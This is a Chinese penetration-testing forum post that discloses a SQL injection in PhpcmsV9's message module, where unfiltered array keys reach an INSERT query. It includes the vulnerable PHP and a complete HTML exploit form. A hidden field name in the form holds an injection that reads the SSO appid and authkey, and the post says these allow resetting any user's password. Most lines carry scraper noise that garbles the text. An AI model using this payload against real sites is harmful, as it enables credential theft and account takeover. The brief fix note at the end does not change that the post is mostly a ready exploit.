中国网络渗透测试联盟

标题: PhpcmsV9 SQL注射修改任意用户密码漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
% ?+ \9 I5 Y3 Z$ A: |# S% `# ?/ D& j& }
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。# j: t" Y; P6 n* p0 k' B

, f& X3 T8 G( x, P6 x3 B5 Q1 b9 ^0 d8 [明天再更新下一个漏洞。  u$ M2 y0 U2 O
详细说明:
6 l# k" o) h0 S' M- n- p$ U% C" ?在/phpcms9/phpcms/modules/message/index.php中有代码如下:+ P6 m$ G0 g0 l+ q3 z& ]8 k
) k% R+ V$ g4 Q& F6 @
$messageid = $this->message_db->insert($_POST['info'],true);
9 H# Z& o% f) B) S- [" p3 u& f! D' Y% X  u5 K8 E% U

, D# c1 y& r# {( {7 k) u" iinsert方法是key value的,代码如下:8 l5 e  _& p/ I

% G9 ^) f3 z2 S  Gpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
( U  D) a+ g6 X+ @% m( v                if(!is_array( $data ) || $table == '' || count($data) == 0) {
% C; l: t; d6 ~0 [: q                        return false;2 A6 d! o/ P; V' i4 r, t( ~
                }; ?) P0 s3 Z8 r
                1 r5 }/ q* g* s9 m) A7 T* o
                $fielddata = array_keys($data);  z) u6 {8 J- a( {6 P8 c  H
                $valuedata = array_values($data);
4 U  j; X0 l$ F; f- V7 q                array_walk($fielddata, array($this, 'add_special_char'));
# v( Z) w2 y! p! M2 L1 w                array_walk($valuedata, array($this, 'escape_string'));
+ h' _) a" v8 O2 \: R                ; ?# O, ~  H, i' y0 I% f2 g8 t
                $field = implode (',', $fielddata);
9 K1 u  r+ ]& ]/ u. a                $value = implode (',', $valuedata);) \8 ]! q2 x0 o' v) [: h

' g2 O- O$ f5 U6 N/ w8 F9 Z) ^( ~                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
& [+ z4 l8 M- U                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
0 v; A+ _! b2 E7 J                $return = $this->execute($sql);# Z7 F7 o7 x: n; p
                return $return_insert_id ? $this->insert_id() : $return;$ a( n2 H0 z& t& \( W
        }
- h7 C% ?# V# N* `  b1 `! I
9 R" H. U( K4 p" j, S
1 C! h' x: p) U0 X" ^, w7 ~嗯,很遗憾的是4 ^6 [# V# P* P

% u4 ~* Z9 t6 ~3 x5 parray_walk($fielddata, array($this, 'add_special_char'));
6 c( s! V5 M( W7 n  H- {7 L; l& T; p. j/ }% s$ ~( r( g

: m2 T8 K/ J% {- V中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。( |+ E/ Y2 p: \1 q% V$ p
% A7 ]- V0 @$ w7 {0 r& Y6 E' |" D
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
) r! O8 D- y* h+ |" H/ e! P4 @, r4 o8 b6 D/ D$ b# B
漏洞证明:* x" {, `1 n" {. d
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
  R* t; e" l2 c1 e[attach]200[/attach]/ ?3 P8 A4 E  f% r" o: P! n

. }; ?0 x7 s; M, v. s" d表单如下:用户名什么的得自己改一改。: W( P& w: q& D
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
) @( y2 \7 P& I$ U/ A<table width="100%" cellspacing="0" class="table_form">! [0 ~  s- M! @
<tr>
. B( F& n0 L& Z( E2 m<th>标 题:</th>5 v2 L- V1 t! \
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>! o2 W% q8 O( e6 a# s3 T
</tr>
, c7 @* u4 a2 @: f& b<tr>
& Q, N5 e" S) \+ n1 m4 z1 V<th>内 容:</th>
9 Q% n: v1 i" W+ w1 D# \) d<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
1 h" R. `+ ^$ V5 D5 r+ w3 @) }</tr>
5 v9 J* `1 s  V' J/ T3 {<input type="hidden" name="info[replyid]" value="2" /> : O9 p, E; J9 s  A7 m
<input type="hidden" name="info[send_to_id]" value="cc" />
) @) A; @! Z: ^9 g9 G<input type="hidden" name="info[send_from_id]" value="hh">
! q5 I3 M3 R! H" H) C<!-- 漏洞的利用重点在这里开始 -->
% H! I- W* S  D<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
4 w8 U4 i+ h0 t  K# B, d, U<!-- 漏洞的利用重点在这里结束 -->
% Q+ h8 ]) V2 j1 u<tr>
. W0 c0 ?& M: f6 b; @<th>验证码:</th>
3 m6 Q" V' P5 Y: K5 _<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
* e; T# V  z3 C8 A. @4 V8 o. s/ D</tr>& C9 L1 L" ]/ L: o. x0 }+ _
<tr>7 J8 Z5 }) r0 ^$ G0 K' d6 F( d
<td></td>
' b( e. t! A3 ]6 n0 R<td colspan="2"><label>
' ~  ?$ Z7 C" h0 U, p: b+ g  _<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>0 H/ R. v. s. ]% L
</label></td>
4 K& B5 D# S/ B</tr>, x/ P4 ~  U  C( E( d
</table>2 Z* b) A( C0 J3 t$ Q& w
</form># z8 _& K) u2 s8 w
在add_special_char函数内对key做过滤就可以了。
: G+ @, q8 R# F$ G& D2 K7 i2 ^& {3 I9 z" ]
' D8 u$ P9 C8 j! O' j1 z
1 S& H" g! Y  T# A. \





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2